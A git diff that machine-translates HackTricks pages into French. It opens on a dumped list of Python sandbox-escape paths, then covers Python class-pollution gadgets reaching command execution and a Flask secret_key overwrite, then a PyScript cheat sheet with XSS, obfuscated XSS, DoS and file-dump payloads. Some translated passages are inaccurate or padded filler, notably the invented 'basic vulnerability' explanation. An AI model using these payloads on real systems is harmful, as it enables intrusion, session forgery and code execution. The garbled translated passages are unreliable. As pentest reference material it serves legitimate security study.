..__globals__.popitem.__self__', 'Global func 1: ..__getattribute__.__self__.__globals__', 'Global func 1: ..__str__.__self__.__globals__', 'Global func 1: ..__globals__.__str__.__self__', 'Global func 1: ..__globals__.items.__self__', 'Global func 1: ..__globals__.update.__self__', 'Global func 1: ..__globals__.__gt__.__self__', 'Global func 1: ..__get__.__self__.__globals__', 'Global func 1: ..__globals__.clear.__self__', 'Global func 1: ..__ne__.__self__.__globals__', 'Global func 1: ..__globals__.__getattribute__.__self__', 'Global func 1: ..__globals__.__iter__.__self__', 'Global func 1: ..__globals__.get.__self__', 'Global func 1: ..__lt__.__self__.__globals__', 'Global func 1: ..__globals__.__sizeof__.__self__', 'Global func 1: ..__globals__.__ge__.__self__', 'Global func 1: ..__hash__.__self__.__globals__', 'Global func 1: ..__globals__.__setattr__.__self__', 'Global func 1: ..__globals__.__getitem__.__self__', 'Global func 1: ..__globals__.keys.__self__', 'Global func 1: ..__globals__.__reduce_ex__.__self__', 'Global func 1: ..__init__.__self__.__globals__', 'Global func 1: ..__globals__.copy.__self__', 'Global func 1: ..__format__.__self__.__globals__', 'Global func 1: ..__globals__.__ne__.__self__', 'Global func 1: ..__globals__.__lt__.__self__', 'Global func 1: ..__ge__.__self__.__globals__', 'Global func 1: ..__globals__.__delattr__.__self__', 'Global func 1: ..__globals__.__format__.__self__', 'Global func 1: ..__eq__.__self__.__globals__', 'Global func 1: ..__globals__.pop.__self__', 'Global func 1: ..__setattr__.__self__.__globals__', 'Global func 1: ..__dir__.__self__.__globals__', 'Global func 1: ..__reduce__.__self__.__globals__', 'Global func 1: ..__globals__.values.__self__', 'Global func 1: ..__globals__.__ior__.__self__', 'Global func 1: ..__globals__.__repr__.__self__', 'Global func 1: ..__gt__.__self__.__globals__', 'Global func 1: ..__delattr__.__self__.__globals__', 'Global func 1: ..__globals__', 'Global func 1: ..__globals__.__ror__.__self__', 'Global func 1: ..__call__.__self__.__globals__'}, 'subprocess': set(), 'commands': set(), 'pty': set(), 'importlib': set(), 'imp': set(), 'sys': {'Global func 1: ..__globals__.__setitem__.__self__', 'Global func 1: ..__globals__.__init__.__self__', 'Global func 1: ..__globals__.__eq__.__self__', 'Global func 1: ..__globals__.__len__.__self__', 'Global func 1: ..__sizeof__.__self__.__globals__', "Subclass 80: ..__init__.__globals__", "Subclass 134: ..__call__.__globals__", 'Global func 1: ..__globals__.__delitem__.__self__', 'Global func 1: ..__globals__.__reduce__.__self__', 'Global func 1: ..__globals__.__contains__.__self__', 'Global func 1: ..__globals__.__or__.__self__', 'Global func 1: ..__le__.__self__.__globals__', 'Global func 1: ..__reduce_ex__.__self__.__globals__', 'Global func 1: ..__globals__.__le__.__self__', 'Global func 1: ..__globals__.__dir__.__self__', "Subclass 106: ..decode.__globals__", 'Global func 1: ..__repr__.__self__.__globals__', 'Global func 1: ..__globals__.setdefault.__self__', 'Global func 1: ..__globals__.__reversed__.__self__', 'Global func 1: ..__globals__.popitem.__self__', 'Global func 1: ..__getattribute__.__self__.__globals__', 'Global func 1: ..__str__.__self__.__globals__', 'Global func 1: ..__globals__.__str__.__self__', 'Global func 1: ..__globals__.items.__self__', 'Global func 1: ..__globals__.update.__self__', 'Global func 1: ..__globals__.__gt__.__self__', 'Global func 1: ..__get__.__self__.__globals__', 'Global func 1: ..__globals__.clear.__self__', "Subclass 92: .._open_registry.__func__.__globals__", 'Global func 1: ..__globals__.__getattribute__.__self__', 'Global func 1: ..__globals__.__iter__.__self__', 'Global func 1: ..__globals__.get.__self__', 'Global func 1: ..__ne__.__self__.__globals__', "Subclass 114: ..__hash__.__globals__", 'Global func 1: ..__globals__.__sizeof__.__self__', 'Global func 1: ..__lt__.__self__.__globals__', 'Global func 1: ..__globals__.__ge__.__self__', 'Global func 1: ..__hash__.__self__.__globals__', "Subclass 187: ..__init_subclass__.__func__.__globals__", 'Global func 1: ..__globals__.__setattr__.__self__', 'Global func 1: ..__globals__.__getitem__.__self__', 'Global func 1: ..__globals__.keys.__self__', 'Global func 1: ..__globals__.__reduce_ex__.__self__', 'Global func 1: ..__init__.__self__.__globals__', 'Global func 1: ..__globals__.copy.__self__', "Subclass 139: ..__init__.__globals__", 'Global func 1: ..__format__.__self__.__globals__', "Subclass 133: ..__enter__.__globals__", 'Global func 1: ..__globals__.__ne__.__self__', 'Global func 1: ..__globals__.__lt__.__self__', 'Global func 1: ..__ge__.__self__.__globals__', 'Global func 1: ..__eq__.__self__.__globals__', 'Global func 1: ..__globals__.__delattr__.__self__', 'Global func 1: ..__globals__.__format__.__self__', 'Global func 1: ..__globals__.pop.__self__', 'Global func 1: ..__setattr__.__self__.__globals__', 'Global func 1: ..__dir__.__self__.__globals__', 'Global func 1: ..__reduce__.__self__.__globals__', "Subclass 175: ..__call__.__globals__", 'Global func 1: ..__globals__.values.__self__', 'Global func 1: ..__globals__.__ior__.__self__', 'Global func 1: ..__globals__.__repr__.__self__', 'Global func 1: ..__gt__.__self__.__globals__', 'Global func 1: ..__delattr__.__self__.__globals__', "Subclass 104: ..__init__.__globals__", 'Global func 1: ..__globals__', 'Global func 1: ..__globals__.__ror__.__self__', "Subclass 179: ..__class__.__bool__.__globals__", 'Global func 1: ..__call__.__self__.__globals__'}, 'pip': set(), 'pdb': set(), 'system': {"Subclass 133: ..__enter__.__globals__"}, 'popen': {"Subclass 133: ..__enter__.__globals__"}, 'getstatusoutput': set(), 'getoutput': set(), 'call': set(), 'Popen': set(), 'spawn': set(), 'import_module': set(), '__import__': {'Global func 0: ..__self__.isinstance.__self__', 'Global func 0: ..__self__.sorted.__self__', 'Global func 0: ..__reduce_ex__.__self__.__self__', 'Global func 0: ..__self__.all.__self__', "Subclass 80: ..__init__.__globals__", 'Global func 0: ..__call__.__self__.__self__', 'Global func 0: ..__self__.ascii.__self__', 'Global func 0: ..__setattr__.__self__.__self__', 'Global func 0: ..__gt__.__self__.__self__', 'Global func 0: ..__self__.max.__self__', 'Global func 0: ..__getattribute__.__self__.__self__', 'Global func 0: ..__self__.input.__self__', 'Global func 0: ..__self__.hash.__self__', 'Global func 0: ..__eq__.__self__.__self__', 'Global func 0: ..__self__.issubclass.__self__', 'Global func 0: ..__self__.eval.__self__', 'Global func 0: ..__self__.next.__self__', 'Global func 0: ..__self__.any.__self__', 'Global func 0: ..__hash__.__self__.__self__', 'Global func 0: ..__self__.len.__self__', 'Global func 0: ..__ne__.__self__.__self__', 'Global func 0: ..__sizeof__.__self__.__self__', 'Global func 0: ..__self__.format.__self__', 'Global func 0: ..__self__.bin.__self__', 'Global func 0: ..__self__.exec.__self__', 'Global func 0: ..__self__.delattr.__self__', 'Global func 0: ..__self__.min.__self__', 'Global func 0: ..__self__.hex.__self__', 'Global func 0: ..__self__.hasattr.__self__', 'Global func 0: ..__format__.__self__.__self__', 'Global func 0: ..__init__.__self__.__self__', 'Global func 0: ..__self__.abs.__self__', 'Global func 0: ..__self__.__import__.__self__', 'Global func 0: ..__self__.round.__self__', 'Global func 0: ..__self__.__build_class__.__self__', 'Global func 0: ..__self__.callable.__self__', 'Global func 0: ..__repr__.__self__.__self__', 'Global func 0: ..__self__', 'Global func 0: ..__self__.oct.__self__', 'Global func 0: ..__self__.iter.__self__', 'Global func 0: ..__self__.globals.__self__', 'Global func 0: ..__self__.setattr.__self__', 'Global func 0: ..__self__.vars.__self__', 'Global func 0: ..__self__.repr.__self__', 'Global func 0: ..__dir__.__self__.__self__', 'Global func 0: ..__self__.ord.__self__', 'Global func 0: ..__self__.getattr.__self__', 'Global func 0: ..__delattr__.__self__.__self__', 'Global func 0: ..__self__.print.__self__', 'Global func 0: ..__self__.id.__self__', 'Global func 0: ..__str__.__self__.__self__', 'Global func 0: ..__le__.__self__.__self__', 'Global func 0: ..__self__.compile.__self__', 'Global func 0: ..__self__.divmod.__self__', 'Global func 0: ..__self__.chr.__self__', 'Global func 0: ..__self__.locals.__self__', 'Global func 0: ..__self__.breakpoint.__self__', 'Global func 0: ..__self__.dir.__self__', 'Global func 0: ..__self__.sum.__self__', 'Global func 0: ..__reduce__.__self__.__self__', 'Global func 0: ..__ge__.__self__.__self__', 'Global func 0: ..__lt__.__self__.__self__', 'Global func 0: ..__self__.pow.__self__'}, 'load_source': set(), 'execfile': set(), 'execute': set()} +```markdown +# Recherche dans les internes de Python + +Lorsque vous travaillez avec des sandboxes Python, il peut être utile de rechercher des informations sur les internes de Python pour trouver des moyens de contourner les restrictions de la sandbox. Voici quelques astuces pour vous aider à rechercher des informations sur les internes de Python. + +## Utilisation de `dir()` + +La fonction `dir()` peut être utilisée pour lister tous les attributs et méthodes d'un objet Python. Vous pouvez l'utiliser pour explorer les internes de Python en passant des objets internes à la fonction. Par exemple, vous pouvez utiliser `dir(__builtins__)` pour lister tous les noms d'objets internes disponibles dans le module `__builtins__`. + +## Utilisation de `help()` + +La fonction `help()` peut être utilisée pour obtenir de l'aide sur un objet Python. Vous pouvez l'utiliser pour obtenir des informations sur les internes de Python en passant des objets internes à la fonction. Par exemple, vous pouvez utiliser `help(__builtins__)` pour obtenir de l'aide sur le module `__builtins__`. + +## Utilisation de `type()` + +La fonction `type()` peut être utilisée pour obtenir le type d'un objet Python. Vous pouvez l'utiliser pour explorer les internes de Python en passant des objets internes à la fonction. Par exemple, vous pouvez utiliser `type(__builtins__)` pour obtenir le type de l'objet `__builtins__`. + +## Utilisation de `inspect` + +Le module `inspect` peut être utilisé pour obtenir des informations sur les objets Python. Vous pouvez l'utiliser pour explorer les internes de Python en passant des objets internes à ses fonctions. Par exemple, vous pouvez utiliser `inspect.getmembers(__builtins__)` pour obtenir une liste de tous les membres de l'objet `__builtins__`. + +## Utilisation de `ctypes` + +Le module `ctypes` peut être utilisé pour appeler des fonctions C à partir de Python. Vous pouvez l'utiliser pour appeler des fonctions internes de Python qui ne sont pas accessibles directement depuis Python. Par exemple, vous pouvez utiliser `ctypes.pythonapi.PySys_GetObject("stdout")` pour obtenir l'objet `stdout` de Python. + +## Utilisation de `gc` + +Le module `gc` peut être utilisé pour obtenir des informations sur la gestion de la mémoire de Python. Vous pouvez l'utiliser pour explorer les internes de Python en passant des objets internes à ses fonctions. Par exemple, vous pouvez utiliser `gc.get_referents(obj)` pour obtenir une liste d'objets qui font référence à l'objet `obj`. + +## Utilisation de `sys` + +Le module `sys` peut être utilisé pour obtenir des informations sur l'interpréteur Python. Vous pouvez l'utiliser pour explorer les internes de Python en accédant à ses attributs. Par exemple, vous pouvez utiliser `sys.builtin_module_names` pour obtenir une liste de tous les noms de modules internes disponibles dans Python. + +## Utilisation de `dis` + +Le module `dis` peut être utilisé pour désassembler du bytecode Python. Vous pouvez l'utiliser pour explorer les internes de Python en passant des fonctions Python à ses fonctions. Par exemple, vous pouvez utiliser `dis.dis(function)` pour désassembler la fonction `function`. ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md b/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md index 0f602bc43..a6ed8b848 100644 --- a/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md +++ b/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md @@ -1,21 +1,20 @@ -# Class Pollution (Python's Prototype Pollution) +# Pollution de classe (Prototype Pollution de Python)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Example - -Check how is possible to pollute classes of objects with strings: +## Exemple de base +Vérifiez comment il est possible de polluer les classes d'objets avec des chaînes de caractères : ```python class Company: pass class Developer(Company): pass @@ -39,9 +38,41 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company' print(d) #<__main__.Polluted_Developer object at 0x1041d2b80> print(c) #<__main__.Polluted_Company object at 0x1043a72b0> ``` +## Exemple de vulnérabilité de base -## Basic Vulnerability Example +Leak: Non +### Description + +Python est un langage de programmation orienté objet qui permet la création de classes et d'objets. Les classes peuvent être héritées et les objets peuvent être instanciés à partir de ces classes. Python permet également la modification dynamique des classes et des objets à l'aide de la réflexion. + +La pollution de classe est une vulnérabilité qui peut survenir lorsqu'un programmeur modifie dynamiquement une classe existante en y ajoutant des attributs ou des méthodes supplémentaires. Si cette modification est effectuée de manière incorrecte, elle peut entraîner des comportements inattendus dans le programme. + +### Exploitation + +La pollution de classe peut être exploitée en ajoutant des attributs ou des méthodes malveillants à une classe existante. Ces attributs ou méthodes peuvent être utilisés pour exécuter du code malveillant ou pour accéder à des données sensibles. + +Par exemple, considérons le code suivant : + +```python +class User: + def __init__(self, username): + self.username = username + +user = User('Alice') +print(user.username) + +User.password = 's3cr3t' +print(user.password) +``` + +Dans cet exemple, nous avons ajouté un attribut `password` à la classe `User` après avoir instancié un objet `user`. Cela permet à quiconque d'accéder à l'attribut `password` de l'objet `user`, même s'il n'a pas été défini lors de la création de l'objet. + +### Contre-mesures + +Pour éviter la pollution de classe, il est recommandé de ne pas modifier dynamiquement les classes existantes. Si cela est absolument nécessaire, il est important de s'assurer que les modifications sont effectuées de manière appropriée et sécurisée. + +Il est également recommandé de limiter l'accès aux classes et aux objets autant que possible. Les classes et les objets sensibles doivent être protégés par des autorisations d'accès appropriées. ```python # Initial state class Employee: pass @@ -74,13 +105,11 @@ USER_INPUT = { merge(USER_INPUT, emp) print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}} ``` - -## Gadget Examples +## Exemples de gadgets
-Creating class property default value to RCE (subprocess) - +Création d'une valeur par défaut de propriété de classe pour RCE (subprocessus) ```python from os import popen class Employee: pass # Creating an empty class @@ -127,13 +156,13 @@ merge(USER_INPUT, recruiter_emp) print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m" ``` -
-Polluting other classes and global vars through globals +Pollution d'autres classes et variables globales via globals +
```python def merge(src, dst): # Recursive merge function @@ -161,13 +190,13 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut print(not_accessible_variable) #> Polluted variable print(NotAccessibleClass) #> ``` -
-Arbitrary subprocess execution +Exécution arbitraire de sous-processus +
```python import subprocess, json @@ -195,15 +224,13 @@ merge(USER_INPUT, Employee()) subprocess.Popen('whoami', shell=True) # Calc.exe will pop up ``` -
-Overwritting __kwdefaults__ - -**`__kwdefaults__`** is a special attribute of all functions, based on Python [documentation](https://docs.python.org/3/library/inspect.html), it is a “mapping of any default values for **keyword-only** parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after \* or \*args. +Surcharge de __kwdefaults__ +**`__kwdefaults__`** est un attribut spécial de toutes les fonctions, selon la [documentation](https://docs.python.org/3/library/inspect.html) de Python, c'est une "correspondance de toutes les valeurs par défaut pour les paramètres **uniquement pour les mots-clés**". La pollution de cet attribut nous permet de contrôler les valeurs par défaut des paramètres uniquement pour les mots-clés d'une fonction, ce sont les paramètres de la fonction qui viennent après \* ou \*args. ```python from os import system import json @@ -240,24 +267,21 @@ print(execute.__kwdefaults__) #> {'command': 'echo Polluted'} execute() #> Executing echo Polluted #> Polluted ``` -
-Overwriting Flask secret across files - -So, if you can do a class pollution over an object defined in the main python file of the web but **whose class is defined in a different file** than the main one. Because in order to access \_\_globals\_\_ in the previous payloads you need to access the class of the object or methods of the class, you will be able to **access the globals in that file, but not in the main one**. \ -Therefore, you **won't be able to access the Flask app global object** that defined the **secret key** in the main page: +Modification de la clé secrète Flask à travers plusieurs fichiers +Ainsi, si vous pouvez effectuer une pollution de classe sur un objet défini dans le fichier principal Python du site web, **dont la classe est définie dans un fichier différent** de celui du fichier principal. Parce que pour accéder à \_\_globals\_\_ dans les charges utiles précédentes, vous devez accéder à la classe de l'objet ou aux méthodes de la classe, vous pourrez **accéder aux globales dans ce fichier, mais pas dans le fichier principal**. \ +Par conséquent, vous **ne pourrez pas accéder à l'objet global de l'application Flask** qui a défini la **clé secrète** dans la page principale: ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` +Dans ce scénario, vous avez besoin d'un gadget pour parcourir les fichiers afin d'**accéder à l'objet global `app.secret_key`** pour changer la clé secrète de Flask et être en mesure de [**escalader les privilèges** en connaissant cette clé](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). -In this scenario you need a gadget to traverse files to get to the main one to **access the global object `app.secret_key`** to change the Flask secret key and be able to [**escalate privileges** knowing this key](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). - -A payload like this one [from this writeup](https://ctftime.org/writeup/36082): +Une charge utile comme celle-ci [de ce writeup](https://ctftime.org/writeup/36082): {% code overflow="wrap" %} ```python @@ -265,11 +289,11 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se ``` {% endcode %} -Use this payload to **change `app.secret_key`** (the name in your app might be different) to be able to sign new and more privileges flask cookies. +Utilisez cette charge utile pour **changer `app.secret_key`** (le nom dans votre application peut être différent) afin de pouvoir signer de nouveaux cookies flask avec plus de privilèges.
-## References +## Références * [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/) @@ -277,10 +301,10 @@ Use this payload to **change `app.secret_key`** (the name in your app might be d ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/python/pyscript.md b/generic-methodologies-and-resources/python/pyscript.md index eda61d8b1..0469f7801 100644 --- a/generic-methodologies-and-resources/python/pyscript.md +++ b/generic-methodologies-and-resources/python/pyscript.md @@ -1,31 +1,30 @@ -# Pyscript +# PyScript
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## PyScript Pentesting Guide +## Guide de test de pénétration PyScript -PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes. +PyScript est un nouveau framework développé pour intégrer Python dans HTML afin qu'il puisse être utilisé aux côtés de HTML. Dans cette fiche de triche, vous trouverez comment utiliser PyScript à des fins de test de pénétration. -### Dumping / Retrieving files from the Emscripten virtual memory filesystem: +### Dumping / Récupération de fichiers à partir du système de fichiers de la mémoire virtuelle Emscripten: `CVE ID: CVE-2022-30286`\ \ Code: - ```html with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: @@ -33,17 +32,15 @@ Code: print(out) ``` - -Result: +Résultat: ![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png) -### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) +### [Exfiltration de données OOB du système de fichiers de mémoire virtuelle Emscripten (surveillance de la console)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) -`CVE ID: CVE-2022-30286`\ +`ID CVE: CVE-2022-30286`\ \ Code: - ```html x = "CyberGuy" @@ -54,29 +51,25 @@ if x == "CyberGuy": print('') ``` - -Result: +Résultat: ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) -### Cross Site Scripting (Ordinary) +### Cross Site Scripting (Ordinaire) Code: - ```python print("") ``` - -Result: +Résultat: ![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) -### Cross Site Scripting (Python Obfuscated) +### Cross Site Scripting (Python Obfusqué) Code: - ```python sur = "\u0027al";fur = "e";rt = "rt" @@ -88,37 +81,32 @@ y = "o";m = "ner";z = "ror\u003d" print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) ``` - -Result: +Résultat: ![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png) -### Cross Site Scripting (JavaScript Obfuscation) +### Cross Site Scripting (Obfuscation JavaScript) Code: - ```html prinht("") ``` - -Result: +Résultat: ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) -### DoS attack (Infinity loop) +### Attaque DoS (Boucle infinie) Code: - ```html while True: print("                              ") ``` - -Result: +Résultat : ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) @@ -126,14 +114,14 @@ Result: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**La famille 